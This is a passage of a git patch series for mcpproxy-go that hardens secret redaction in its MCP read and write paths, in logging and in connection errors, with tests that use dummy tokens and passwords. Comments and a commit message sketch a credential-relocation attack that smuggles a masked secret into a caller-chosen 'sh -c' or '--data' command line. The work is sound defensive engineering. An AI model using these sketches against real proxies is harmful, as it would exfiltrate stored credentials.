require.True(t, ok) + maskedEnv, _ := envView["BENIGN_NAME"].(string) + require.NotEqual(t, stored.Env["BENIGN_NAME"], maskedEnv) + + got := unmaskLiveEnvValues(map[string]string{"BENIGN_NAME": maskedEnv}, stored.Env) + assert.Equal(t, stored.Env["BENIGN_NAME"], got["BENIGN_NAME"]) + + hdrView, ok := view["headers"].(map[string]interface{}) + require.True(t, ok) + maskedHdr, _ := hdrView["X-Zyx"].(string) + gotH := unmaskLiveHeaders(map[string]string{"X-Zyx": maskedHdr}, stored.Headers) + assert.Equal(t, stored.Headers["X-Zyx"], gotH["X-Zyx"]) + }) + + t.Run("url", func(t *testing.T) { + assert.Equal(t, stored.URL, unmaskLiveURL(viewString(view, "url", ""), stored.URL)) + }) +} + +// --------------------------------------------------------------------------- +// Finding 7: with detectContractedLeaves off, the LIVE surface — the one an +// unauthenticated /mcp caller reads — returned vendor-shaped credentials in the +// clear whenever they sat under a benign env/header name, while the AUDIT +// policy masked them. +// --------------------------------------------------------------------------- + +func TestLiveRedaction_MasksVendorShapedSecretsUnderBenignNames(t *testing.T) { + ghp := "ghp_abcdefghijklmnopqrstuvwxyz0123456789" + + assert.NotContains(t, redactEnvValueWith("BENIGN_NAME", ghp, liveRedaction), ghp) + assert.NotContains(t, redactHeaderValueWith("X-Zyx", ghp, liveRedaction), ghp) + + // The #872 component-wise connection-string rendering is NOT collapsed: + // the name/URL rules already rewrote it, so the detector stays out of it and + // scheme/host/db remain readable for the operator's edit flow. + conn := redactEnvValueWith("DATABASE_URL_PLAIN", "postgres://u:sup3rp4ss@db.example.com/appdb", liveRedaction) + assert.NotContains(t, conn, "sup3rp4ss") + assert.Contains(t, conn, "db.example.com") + assert.Contains(t, conn, "appdb") + + // Ordinary configuration stays readable. + assert.Equal(t, "debug", redactEnvValueWith("LOG_LEVEL", "debug", liveRedaction)) +} + +// --------------------------------------------------------------------------- +// Finding 9: installing an admin AuthContext on the stdio transport changes two +// nil-sensitive paths that the original behaviour list did not name. Both are +// intended — stdio now behaves like the API-key admin it is — and both are +// pinned here so a future change to either is a deliberate one. The full +// enumeration lives on stdioAuthContext in server.go. +// --------------------------------------------------------------------------- + +func TestStdioAdminContext_NilSensitivePaths(t *testing.T) { + stdioCtx := stdioAuthContext(context.Background()) + + t.Run("session principal names the local admin", func(t *testing.T) { + assert.Equal(t, "", principalFromContext(context.Background())) + assert.Equal(t, auth.AuthTypeAdmin, principalFromContext(stdioCtx)) + }) + + t.Run("preflight scope is materialised and allows every server", func(t *testing.T) { + p := createTestMCPProxyServer(t) + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{Name: "alpha", Enabled: true})) + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{Name: "beta", Enabled: true})) + + none, err := p.sessionPreflightScope(context.Background()) + require.NoError(t, err) + assert.Nil(t, none, "no identity and no profile stays unrestricted") + + scope, err := p.sessionPreflightScope(stdioCtx) + require.NoError(t, err) + require.NotNil(t, scope) + assert.True(t, scope.Allows("alpha")) + assert.True(t, scope.Allows("beta")) + }) +} diff --git a/internal/server/mcp_secret_redaction_test.go b/internal/server/mcp_secret_redaction_test.go index 4e2e439ec..b728ea5f9 100644 --- a/internal/server/mcp_secret_redaction_test.go +++ b/internal/server/mcp_secret_redaction_test.go @@ -346,15 +346,18 @@ func TestUnmaskArgv_RevertsEchoedMasks(t *testing.T) { assert.Equal(t, incoming, unmaskArgv(incoming, stored)) }) - t.Run("an ambiguous mask is not guessed", func(t *testing.T) { - // Two DIFFERENT stored tokens whose masked renderings collide - // (MaskValue carries only the length and last two bytes): reverting - // either would be a guess, so the mask is left alone rather than - // restoring the wrong secret over the other one. - ambiguous := []string{"--api-key", "aaaaaaaaaXY", "--token", "bbbbbbbbbXY"} - maskedAmbiguous := redactedArgs(ambiguous, liveRedaction) - got := unmaskArgv(maskedAmbiguous, ambiguous) - assert.Equal(t, maskedAmbiguous, got) + t.Run("colliding masks are resolved by position, not guessed", func(t *testing.T) { + // Two DIFFERENT stored tokens whose masked renderings collide — + // MaskValue carries only the length and the last two bytes. The first + // cut matched by VALUE, so it could not tell them apart and refused to + // revert either. Binding the revert to the index it was masked at + // (round 2, finding 1) makes the collision a non-event: each slot + // restores its OWN stored token and neither secret can land in the + // other's slot. + colliding := []string{"--api-key", "aaaaaaaaaXY", "--token", "bbbbbbbbbXY"} + maskedColliding := redactedArgs(colliding, liveRedaction) + require.Equal(t, maskedColliding[1], maskedColliding[3], "precondition: the renderings collide") + assert.Equal(t, colliding, unmaskArgv(maskedColliding, colliding)) }) t.Run("nil and empty are passed through", func(t *testing.T) { diff --git a/internal/server/mcp_server_view.go b/internal/server/mcp_server_view.go index 85911b108..2c72a5ad6 100644 --- a/internal/server/mcp_server_view.go +++ b/internal/server/mcp_server_view.go @@ -2,6 +2,8 @@ package server import ( "encoding/json" + "fmt" + "time" "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" @@ -82,11 +84,50 @@ func redactedServerViews(servers []*config.ServerConfig, r redactionPolicy) []ma // mcp.go's `upstream_servers list` already did exactly this for `last_error`; // routing every such site through one helper is what stops the four call sites // drifting apart again. +// +// It does NOT truncate. Round 2 finding 3: this used to apply the 512-byte +// ACTIVITY-STORE cap, which is a property of a persisted row and not of a live +// read — so every `tail_log` line, `connection_status.last_error` and +// `connection_message` was silently cut at 512 bytes. tail_log is the primary +// debugging surface and a long line is precisely what an operator opens it for. +// The cap now lives on scrubUpstreamTextForAudit, where it belongs. func scrubUpstreamText(s string) string { if s == "" { return s } - return auditRedaction.capString(maskDetectedSecrets(oauth.RedactSensitiveData(s))) + return maskDetectedSecrets(oauth.RedactSensitiveData(s)) +} + +// scrubUpstreamTextForAudit is scrubUpstreamText for a string that will be +// PERSISTED — an activity row's error message or a non-JSON response body. It +// adds the activity store's size cap so one enormous upstream error cannot +// bloat BBolt, which is the only thing the two paths need to differ on. +func scrubUpstreamTextForAudit(s string) string { + return auditRedaction.capString(scrubUpstreamText(s)) +} + +// scrubbedConnectionStatus returns a copy of a managed client's +// GetConnectionStatus() map with every string leaf scrubbed. +// +// Round 2 finding 2: `inspect_quarantined` — the sibling operation of the +// `list_quarantined` path #1148 fixed, one screen away in the same file — +// rendered this map straight into its response, and the map carries +// `last_error`, which routinely echoes the upstream URL with its query +// credentials. The copy matters: the map belongs to the caller's diagnostic +// path, which must keep seeing the real error. +func scrubbedConnectionStatus(status map[string]interface{}) map[string]interface{} { + if status == nil { + return nil + } + out := make(map[string]interface{}, len(status)) + for k, v := range status { + if s, ok := v.(string); ok { + out[k] = scrubUpstreamText(s) + continue + } + out[k] = v + } + return out } // scrubUpstreamLines scrubs a batch of log lines. @@ -118,7 +159,7 @@ func redactBuiltinResponseForActivity(responseText string) interface{} { } var parsed interface{} if err := json.Unmarshal([]byte(responseText), &parsed); err != nil || parsed == nil { - return scrubUpstreamText(responseText) + return scrubUpstreamTextForAudit(responseText) } return redactValueWith("", parsed, auditRedaction) } @@ -191,41 +232,194 @@ func redactedArgsFallback(args []string, r redactionPolicy) []string { // env and headers. // // The mapping is built from the STORED vector through redactedArgs, i.e. the -// same function the read path used, so the two cannot drift. Matching is by -// VALUE rather than by position, because `args_json` may legitimately reorder -// or resize the vector. -// -// Two deliberate refusals: -// - a masked rendering produced by two DIFFERENT stored tokens is ambiguous; -// reverting it would be a guess, so it is left as the client sent it; -// - a token whose masked rendering equals itself (an ordinary argument the -// read path did not touch) is not a mask at all and is never reverted. +// same function the read path used, so the two cannot drift. +// +// The revert is BOUND to the slot the mask came from — round 2 finding 1. The +// first cut matched by VALUE anywhere in the vector, which made this far worse +// than the disclosure it was added to prevent: +// +// - RELOCATION. `args_json` replaces the whole vector and the caller also +// controls `command`, so `{"command":"sh","args_json":"[\"-c\",\"\"]"}` +// had mcpproxy substitute the real credential into an attacker-chosen +// command line. +// - RE-DISCLOSURE, which is the sharper one. A credential masked because of +// the FLAG in front of it (`--api-key `) has no credential shape of +// its own. Move it into a bare positional slot and the read path no longer +// recognises it, so the very next `upstream_servers list` hands it back in +// the clear — a masked-read → relocate-write → read-back chain that undoes +// all of #1148, over an endpoint that is unauthenticated by default. +// +// So a stored token is restored ONLY to the index it was masked at, and only +// when the token that BOUND the mask is unchanged: +// +// - a value masked because of the preceding flag requires that same flag +// still to precede it (`--api-key` cannot become `--exfil-to`); +// - an inline `--flag=` carries its own flag inside the token, so token +// equality already binds it; +// - a detector-recognised token (`ghp_…`) is masked by its own shape, so it +// is still masked wherever it ends up and re-disclosure is impossible. +// +// This is the same shape as the safeguards the sibling contracts already carry: +// oauth.UnmaskEnvValues / UnmaskHeaders bind to the map KEY, and UnmaskURL +// refuses to move a stored secret onto a different scheme/host. A vector that +// was reordered or resized simply does not round-trip its masks; the caller +// resends the real values, which is the safe direction. func unmaskArgv(incoming, stored []string) []string { if incoming == nil || len(stored) == 0 { return incoming } maskedStored := redactedArgs(stored, liveRedaction) - revert := make(map[string]string, len(stored)) - ambiguous := make(map[string]bool, len(stored)) - for i, masked := range maskedStored { - if masked == stored[i] { - continue // not a mask + flagBound := argvFlagBoundMasks(stored) + + out := make([]string, len(incoming)) + for i, token := range incoming { + out[i] = token + if i >= len(stored) || maskedStored[i] == stored[i] || token != maskedStored[i] { + // Out of range, not a mask at all, or a genuine edit. + continue } - if existing, seen := revert[masked]; seen && existing != stored[i] { - ambiguous[masked] = true + // argvFlagBoundMasks never marks index 0, so i >= 1 here. + if flagBound[i] && incoming[i-1] != stored[i-1] { + // The flag that made this value a secret is gone or different; + // restoring here would move the credential to a flag the caller + // chose. Leave the mask literal — the write then carries a value + // that is obviously not a credential rather than the real one. continue } - revert[masked] = stored[i] + out[i] = stored[i] } + return out +} - out := make([]string, len(incoming)) - for i, token := range incoming { - if original, ok := revert[token]; ok && !ambiguous[token] { - out[i] = original +// argvFlagBoundMasks reports, per index of the stored vector, whether that +// token would be masked BECAUSE OF the flag in front of it rather than because +// of its own shape. Mirrors the `maskNext` rule in redactArgvWith. +// +// It deliberately over-reports rather than under-reports: after a masked value +// is consumed, redactArgvWith resets the pairing, so a run of sensitive-looking +// flags marks one index here that the masker did not pair. An extra index only +// makes unmaskArgv stricter (it also demands the preceding token be unchanged), +// which is the safe direction; a missed index would drop a binding. +func argvFlagBoundMasks(stored []string) []bool { + bound := make([]bool, len(stored)) + for i := 1; i < len(stored); i++ { + prev := stored[i-1] + bound[i] = isArgvFlag(prev) && oauth.IsSensitiveKeyName(argvFlagKey(prev)) + } + return bound +} + +// unmaskLiveEnvValues reverts env values a client echoed back exactly as the +// LIVE VIEW rendered them, before oauth.UnmaskEnvValues gets the map. +// +// Round 2 finding 7 let the live policy's value-shaped detector fire on a leaf +// the name rule left untouched (`env: {BENIGN: ghp_…}`), which is a rendering +// oauth.UnmaskEnvValues cannot recognise — it compares against oauth. +// maskedEnvValue. Without this mirror, masking that leaf would trade a +// disclosure for the read-modify-write corruption of #1142/#1146. +// +// Binding is by KEY, exactly as oauth's own unmaskers bind, so a value can only +// ever be restored to the variable it was read from. +func unmaskLiveEnvValues(incoming, stored map[string]string) map[string]string { + return unmaskLiveMap(incoming, stored, func(k, v string) string { + return redactEnvValueWith(k, v, liveRedaction) + }) +} + +// unmaskLiveHeaders is unmaskLiveEnvValues for header maps. +func unmaskLiveHeaders(incoming, stored map[string]string) map[string]string { + return unmaskLiveMap(incoming, stored, func(k, v string) string { + return redactHeaderValueWith(k, v, liveRedaction) + }) +} + +func unmaskLiveMap(incoming, stored map[string]string, rendered func(k, v string) string) map[string]string { + if incoming == nil || len(stored) == 0 { + return incoming + } + out := make(map[string]string, len(incoming)) + for k, v := range incoming { + if sv, ok := stored[k]; ok && v == rendered(k, sv) { + out[k] = sv continue } - out[i] = token + out[k] = v } return out } + +// unmaskLiveURL reverts a URL echoed back exactly as the live view rendered it. +// A genuinely edited URL falls through to oauth.UnmaskURL, which restores the +// individual masked components under its own authority safeguard. +func unmaskLiveURL(incoming, stored string) string { + if incoming == "" || stored == "" { + return incoming + } + if incoming == redactStringWith("url", stored, liveRedaction) { + return stored + } + return oauth.UnmaskURL(incoming, stored) +} + +// unmaskLiveOAuth reverts a masked oauth.client_secret echoed back by a client. +// +// Round 2 finding 6: #1148 started masking client_secret on the MCP read +// surface (`quarantine_security list_quarantined` renders the WHOLE config) +// without giving the write path anything to recognise the mask by, so a +// read-modify-write through `oauth_json` — which REPLACES the oauth block — +// persisted `••••42 (17 chars)` as the client secret. Read and write now agree +// on the same rendering, bound to the field it came from. +// +// The REST API is not affected in either direction: contracts.OAuthConfig +// carries no client_secret, so no REST response ever renders one. +func unmaskLiveOAuth(incoming, stored *config.OAuthConfig) { + if incoming == nil || stored == nil || stored.ClientSecret == "" { + return + } + if incoming.ClientSecret == redactStringWith("client_secret", stored.ClientSecret, liveRedaction) { + incoming.ClientSecret = stored.ClientSecret + } +} + +// inspectConnectionTimeoutError renders `inspect_quarantined`'s +// connection-timeout diagnostic (issue #1148, round 2 finding 2). +// +// The status map is scrubbed rather than dropped: which state the client is in, +// how many retries it has burned and what the (redacted) error was is the whole +// value of this message to an operator deciding whether a quarantined server is +// merely broken or actively hostile. +func inspectConnectionTimeoutError(serverName string, timeout time.Duration, status map[string]interface{}) string { + return fmt.Sprintf( + "Quarantined server '%s' failed to connect within %v timeout. Connection status: %v. "+ + "This may indicate the server process is not running, there's a network issue, "+ + "or the server is unstable (see issue #105).", + serverName, timeout, scrubbedConnectionStatus(status)) +} + +// inspectConnectionFailedAnalysis renders `inspect_quarantined`'s +// tool-retrieval-failed payload with the connection status and the raw upstream +// error scrubbed (issue #1148, round 2 finding 2). +func inspectConnectionFailedAnalysis(serverName string, status map[string]interface{}, err error) []map[string]interface{} { + info := scrubbedConnectionStatus(status) + if info == nil { + info = map[string]interface{}{} + } + detail := "" + if err != nil { + detail = scrubUpstreamText(err.Error()) + } + info["connection_error"] = detail + + return []map[string]interface{}{{ + "server_name": serverName, + "status": "QUARANTINED_CONNECTION_FAILED", + "message": fmt.Sprintf( + "Server '%s' is quarantined and connection failed during tool retrieval. "+ + "This may indicate the server process crashed or disconnected.", serverName), + "connection_info": info, + "error_details": detail, + "next_steps": "The server connection failed. Check server process status, logs, and configuration. Server may need to be restarted.", + "security_note": "Connection failure prevents tool analysis. Server must be stable and connected for security inspection.", + }} +} diff --git a/internal/server/server.go b/internal/server/server.go index a020339c0..3c55664fe 100644 --- a/internal/server/server.go +++ b/internal/server/server.go @@ -993,6 +993,40 @@ func (s *Server) Start(ctx context.Context) error { // stdioAuthContext installs the authenticated-admin context for the stdio // transport. See the ServeStdio call site above (issue #1148). +// +// Round 2 finding 9 asked for the nil-sensitive paths this changes to be +// enumerated rather than assumed. Every consumer of auth.AuthContextFromContext +// reachable from an MCP handler, and what a stdio session now does differently: +// +// CHANGED, and intended — stdio now behaves exactly like the API-key admin it +// is, instead of like an absent identity: +// - workspace.go principalFromContext: "" → "admin". Session grouping names +// the local principal instead of degrading to client+project. +// - preflight_glue.go sessionPreflightScope: nil (unrestricted) → a Scope +// over the whole server universe. An admin is in scope for every server, +// so the same set is allowed; the scope is merely materialised, and can +// now surface a storage error that only fires when ListUpstreams itself +// fails. +// - mcp.go handleListUpstreams: CanRevealSecrets() nil → false, admin → +// true. This is the point of the change: `reveal_secret_headers` keeps +// working for the local operator on stdio. +// +// CHANGED shape, identical outcome: +// - mcp_code_execution.go: options.AuthContext and ToolAnnotationFunc are +// now set. jsruntime's AuthInfo.CanAccessServer / HasPermission both +// short-circuit true for type "admin", so nothing is newly denied; only +// an annotation lookup is added per dispatch. +// - mcp_routing.go direct dispatch: the access and permission checks now +// run, and both pass for an admin. +// - mcp_describe_check.go: record.UserID / UserEmail are read off the +// context and are empty on an admin context, so the record is unchanged. +// +// UNCHANGED — these gate on agent/user identity, which an admin context is +// not, or already read nil as admin: +// profile_resolver.go, mcp_direct_scope.go, mcp_direct_callability.go, +// mcp_describe_direct.go, mcp_visibility.go, +// observability_edition_server.go, auth.AuthorizeServerOp and the +// `authCtx != nil && !authCtx.IsAdmin()` gates in mcp.go. func stdioAuthContext(ctx context.Context) context.Context { return auth.WithAuthContext(ctx, auth.AdminContext()) } diff --git a/internal/transport/http.go b/internal/transport/http.go index f22d6d3f4..16d7c5cef 100644 --- a/internal/transport/http.go +++ b/internal/transport/http.go @@ -6,6 +6,7 @@ import ( "time" "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" "github.com/mark3labs/mcp-go/client" "github.com/mark3labs/mcp-go/client/transport" @@ -183,7 +184,7 @@ func CreateHTTPClient(cfg *HTTPTransportConfig) (*client.Client, error) { logger := zap.L().Named("transport") logger.Error("🚨 TRANSPORT HTTP CLIENT CREATION", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.Bool("oauth_config_nil", cfg.OAuthConfig == nil), zap.Bool("use_oauth", cfg.UseOAuth)) @@ -192,34 +193,34 @@ func CreateHTTPClient(cfg *HTTPTransportConfig) (*client.Client, error) { } logger.Debug("Creating HTTP client", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.Bool("use_oauth", cfg.UseOAuth), zap.Bool("has_oauth_config", cfg.OAuthConfig != nil)) if cfg.UseOAuth && cfg.OAuthConfig != nil { // Use OAuth-enabled client with Dynamic Client Registration logger.Info("Creating OAuth-enabled streamable HTTP client with Dynamic Client Registration", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("redirect_uri", cfg.OAuthConfig.RedirectURI), zap.Strings("scopes", cfg.OAuthConfig.Scopes), zap.Bool("pkce_enabled", cfg.OAuthConfig.PKCEEnabled)) logger.Debug("OAuth config details", zap.String("client_id", cfg.OAuthConfig.ClientID), - zap.String("client_secret", cfg.OAuthConfig.ClientSecret), + zap.Bool("has_client_secret", cfg.OAuthConfig.ClientSecret != ""), zap.Any("token_store", cfg.OAuthConfig.TokenStore)) logger.Debug("🔧 About to create OAuth client with mcp-go library", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("redirect_uri", cfg.OAuthConfig.RedirectURI)) logger.Info("Creating OAuth HTTP client with context-based timeout", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("note", "Using 30-minute context timeout from tray")) // Add detailed logging about the OAuth config and token store logger.Info("🔍 OAuth HTTP client creation details", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("redirect_uri", cfg.OAuthConfig.RedirectURI), zap.Strings("scopes", cfg.OAuthConfig.Scopes), zap.Bool("pkce_enabled", cfg.OAuthConfig.PKCEEnabled), @@ -255,7 +256,7 @@ func CreateHTTPClient(cfg *HTTPTransportConfig) (*client.Client, error) { return client, nil } - logger.Debug("Creating regular HTTP client", zap.String("url", cfg.URL)) + logger.Debug("Creating regular HTTP client", zap.String("url", cfg.logSafeURL())) // Apply brokered per-user auth injection (spec 074): replaces any configured // auth header with the resolved per-user credential and never forwards the @@ -311,30 +312,30 @@ func CreateSSEClient(cfg *HTTPTransportConfig) (*client.Client, error) { } logger.Debug("Creating SSE client", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.Bool("use_oauth", cfg.UseOAuth), zap.Bool("has_oauth_config", cfg.OAuthConfig != nil)) if cfg.UseOAuth && cfg.OAuthConfig != nil { // Use OAuth-enabled SSE client with Dynamic Client Registration logger.Info("Creating OAuth-enabled SSE client with Dynamic Client Registration", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("redirect_uri", cfg.OAuthConfig.RedirectURI), zap.Strings("scopes", cfg.OAuthConfig.Scopes), zap.Bool("pkce_enabled", cfg.OAuthConfig.PKCEEnabled)) logger.Debug("OAuth SSE config details", zap.String("client_id", cfg.OAuthConfig.ClientID), - zap.String("client_secret", cfg.OAuthConfig.ClientSecret), + zap.Bool("has_client_secret", cfg.OAuthConfig.ClientSecret != ""), zap.Any("token_store", cfg.OAuthConfig.TokenStore)) logger.Info("Creating OAuth SSE client with context-based timeout", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("note", "Using 30-minute context timeout from tray")) // Add detailed logging about the OAuth config and token store logger.Info("🔍 OAuth SSE client creation details", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("redirect_uri", cfg.OAuthConfig.RedirectURI), zap.Strings("scopes", cfg.OAuthConfig.Scopes), zap.Bool("pkce_enabled", cfg.OAuthConfig.PKCEEnabled), @@ -368,7 +369,7 @@ func CreateSSEClient(cfg *HTTPTransportConfig) (*client.Client, error) { return client, nil } - logger.Debug("Creating regular SSE client", zap.String("url", cfg.URL)) + logger.Debug("Creating regular SSE client", zap.String("url", cfg.logSafeURL())) // Apply brokered per-user auth injection (spec 074): replaces any configured // auth header with the resolved per-user credential and never forwards the @@ -400,7 +401,7 @@ func CreateSSEClient(cfg *HTTPTransportConfig) (*client.Client, error) { } logger.Info("Creating SSE MCP client with indefinite timeout for long-lived streams", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.Duration("idle_timeout", 300*time.Second), zap.Duration("header_timeout", 30*time.Second), zap.Int("header_count", len(headers)), @@ -410,7 +411,7 @@ func CreateSSEClient(cfg *HTTPTransportConfig) (*client.Client, error) { if logger.Core().Enabled(zap.DebugLevel - 1) { // Trace level logger.Debug("TRACE SSE TRANSPORT SETUP", zap.String("transport_type", "sse"), - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.Duration("idle_timeout", 300*time.Second), zap.Duration("response_header_timeout", 30*time.Second), zap.String("debug_note", "SSE client will establish persistent connection for JSON-RPC over SSE with no overall timeout")) @@ -459,3 +460,23 @@ func DetermineTransportType(serverConfig *config.ServerConfig) string { // Default to stdio return TransportStdio } + +// logSafeURL renders the configured upstream URL for a LOG FIELD, with its +// credential-bearing query parameters and any userinfo password masked. +// +// Issue #1148 (round 2, finding 8): every HTTP/SSE client creation logged the +// raw cfg.URL — at Error level on the streamable-HTTP path, so it fired on +// every attempt regardless of log level — writing `?token=…` and +// `https://user:pass@host` straight into main.log. internal/upstream/core +// already routes its own connection logging through an identical helper +// (Client.logSafeURL); this is the same fix for the transport layer, which the +// first cut of #1148 missed. +// +// oauth.RedactURLQueryParams leaves scheme, host, path and non-sensitive +// parameters verbatim, so the log field stays as diagnosable as it was. +func (c *HTTPTransportConfig) logSafeURL() string { + if c == nil { + return "" + } + return oauth.RedactURLQueryParams(c.URL) +} diff --git a/internal/transport/http_url_redact_test.go b/internal/transport/http_url_redact_test.go new file mode 100644 index 000000000..d5a8ecf86 --- /dev/null +++ b/internal/transport/http_url_redact_test.go @@ -0,0 +1,51 @@ +package transport + +import ( + "strings" + "testing" + + "github.com/stretchr/testify/assert" + "go.uber.org/zap" + "go.uber.org/zap/zapcore" + "go.uber.org/zap/zaptest/observer" +) + +// TestLogSafeURL covers issue #1148 (round 2, finding 8): the HTTP/SSE client +// creation path logged the raw upstream URL into main.log — at Error level, so +// it fired on every attempt regardless of the configured level. +func TestLogSafeURL(t *testing.T) { + cfg := &HTTPTransportConfig{URL: "https://host/mcp?token=urlsecret999&debug=1"} + got := cfg.logSafeURL() + assert.NotContains(t, got, "urlsecret999") + assert.Contains(t, got, "debug=1", "non-sensitive parameters must stay readable") + assert.Contains(t, got, "host/mcp") + + userinfo := (&HTTPTransportConfig{URL: "https://alice:hunter2phrase@host/mcp"}).logSafeURL() + assert.NotContains(t, userinfo, "hunter2phrase") + + assert.Equal(t, "", (&HTTPTransportConfig{}).logSafeURL()) + assert.Equal(t, "", (*HTTPTransportConfig)(nil).logSafeURL()) +} + +// TestCreateHTTPClient_DoesNotLogRawURL is the end-to-end guard: no log line +// emitted while building the client may carry the credential. +func TestCreateHTTPClient_DoesNotLogRawURL(t *testing.T) { + core, logs := observer.New(zapcore.DebugLevel) + restore := zap.ReplaceGlobals(zap.New(core)) + defer restore() + + _, err := CreateHTTPClient(&HTTPTransportConfig{URL: "https://host/mcp?token=urlsecret999"}) + assert.NoError(t, err) + + var b strings.Builder + for _, entry := range logs.All() { + b.WriteString(entry.Message) + for _, f := range entry.Context { + b.WriteString(" ") + b.WriteString(f.String) + } + b.WriteString("\n") + } + assert.NotEmpty(t, b.String(), "precondition: client creation logs something") + assert.NotContains(t, b.String(), "urlsecret999") +} From f0cdbd65e302730c44f5734537d0329482413036 Mon Sep 17 00:00:00 2001 From: Algis Dumbris Date: Tue, 1 Sep 2026 08:12:33 +0300 Subject: [PATCH 03/10] fix(security): refuse echoed argv masks instead of reverting them, and redact URL credentials in connection errors MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Round 3 of the #1148 review. 1. argv masks are never reverted again — they are REFUSED (MAJOR). unmaskArgv still relocated a stored credential into a caller-chosen command line whenever the mask was not flag-bound. argvFlagBoundMasks marks index i only when stored[i-1] is a sensitive flag, so a token masked by the value-shaped detector — or any mask at index 0 — was bound to nothing but its index. Reproduced against the real code: stored = ["mcp-foo", "run", "ghp_16Cabcdef…"] incoming = ["--silent", "--data", "ghp_…****"] -> the live token was substituted into the attacker's argv. Option (b) from the review, and (a) is not salvageable: an argv slot has no key, and the caller supplies the whole vector AND `command` in the same patch, so every candidate binding — index, preceding flag, even a byte-identical vector — is caller-controlled. A "same surrounding context" rule still lets the secret move from `mcp-foo --api-key X` to `curl --api-key X`, because the meaning of argv lives in `command`. unmaskArgv/argvFlagBoundMasks are gone. checkArgvMaskEcho refuses the write when args_json carries a mask (an exact echo of a stored token's live rendering, or any token bearing a mask marker) and tells the caller to resend the real value. That is safe in both directions: the secret never moves, and the mask is never persisted over the credential either — the read-modify-write corruption the revert existed to prevent. Refusing beats silently ignoring args_json, which REPLACES the vector. Tests: a mask at every position, in argv vectors of every shape (including neighbours copied verbatim from the stored vector), for a flag-bound mask, a detector-shaped mask and a mask at index 0, is always refused and never reverted; the marker list is pinned to the functions that render masks; and the write path itself (buildPatchConfigFromRequest) rejects the relocation attempt with the stored vector untouched. 2. Raw upstream URLs in logs — the remaining siblings (MINOR, pre-existing; identical on origin/main). internal/upstream/manager.go logged client.GetConfig().URL at Info on every connect attempt; internal/upstream/cli/client.go and connection_oauth.go's deprecated-endpoint error did the same. All three now go through oauth.RedactURLQueryParams / the existing logSafeURL helper. The observer test written for the manager site showed the field masks were only half of it: a net/http error quotes the request URL inside its own message (`Post "https://host/mcp?token=…": dial tcp …`), so the credential still reached main.log at Error level through zap.Error, and was stored as the client's last error. Redacted once at the seam where the transport error enters mcpproxy (core Connect), plus the log sites that fire before it (both auth-strategy loops, the SSE connection-lost handlers, the transport's request-failure log). The wrapper keeps the original reachable through Unwrap, so errors.Is/As and the substring classification the connect paths do are unaffected. --- internal/server/mcp.go | 19 ++- .../mcp_secret_redaction_hardening_test.go | 122 ++++++++++----- internal/server/mcp_secret_redaction_test.go | 77 +++++++--- internal/server/mcp_server_view.go | 140 +++++++++--------- internal/transport/http.go | 14 ++ internal/transport/http_url_redact_test.go | 14 ++ internal/transport/logging.go | 10 +- internal/upstream/cli/client.go | 4 +- internal/upstream/core/connection.go | 49 ++++++ internal/upstream/core/connection_http.go | 13 +- internal/upstream/core/connection_oauth.go | 2 +- .../core/connection_url_redact_test.go | 29 ++++ internal/upstream/manager.go | 7 +- internal/upstream/manager_url_redact_test.go | 86 +++++++++++ 14 files changed, 441 insertions(+), 145 deletions(-) create mode 100644 internal/upstream/manager_url_redact_test.go diff --git a/internal/server/mcp.go b/internal/server/mcp.go index a5ceabb8c..4e2fc48f4 100644 --- a/internal/server/mcp.go +++ b/internal/server/mcp.go @@ -5243,12 +5243,19 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest if err := json.Unmarshal([]byte(argsJSON), &args); err != nil { return nil, opts, fmt.Errorf("invalid args_json format: %v", err) } - // #1148: the read path masks credential-shaped argv tokens; restore - // any the caller echoed back masked, so the mask is never persisted - // over the real value (parity with the env/header/url unmaskers). - // args_json REPLACES the vector, so an unedited echo of a masked list - // would otherwise wipe the credential. - patch.Args = unmaskArgv(args, existingServer.Args) + // #1148 round 3: the read path masks credential-shaped argv tokens, + // and unlike env/headers/url there is NO unmask contract for argv — + // an argv slot has no key to bind a stored secret to, and the caller + // controls both the whole vector and `command`, so any revert can be + // steered into relocating the credential (see checkArgvMaskEcho). + // An echoed mask is therefore refused, not reverted: the caller + // resends the real value, so the mask is never restored into an + // attacker-chosen command line and never persisted over the + // credential either. + if err := checkArgvMaskEcho(args, existingServer.Args); err != nil { + return nil, opts, err + } + patch.Args = args } // Handle env JSON string - maps are deep merged with RFC 7396 null-means-remove diff --git a/internal/server/mcp_secret_redaction_hardening_test.go b/internal/server/mcp_secret_redaction_hardening_test.go index b50005a0b..2628fb019 100644 --- a/internal/server/mcp_secret_redaction_hardening_test.go +++ b/internal/server/mcp_secret_redaction_hardening_test.go @@ -20,56 +20,104 @@ import ( // names the defect it reproduces; all of them fail on the unfixed tree. // --------------------------------------------------------------------------- -// Finding 1: unmaskArgv reverted a mask BY VALUE with no binding, so a caller -// could relocate a stored argv credential into an arbitrary command line — and, -// worse, into a slot the READ path does not mask, turning the masked surface -// back into a disclosure surface. +// Finding 1 (rounds 2 AND 3): the write path used to REVERT a masked argv +// token from the stored vector — first by value, then bound to the index plus +// the preceding flag. Both let a caller relocate a stored credential into a +// command line of their choosing, because an argv slot has no key to bind to +// and the caller supplies the whole vector *and* `command`. +// +// The revert is gone: an echoed mask is refused and the caller resends the real +// value. These tests pin BOTH halves of that contract — no vector containing a +// mask is ever accepted, and a vector with no mask is 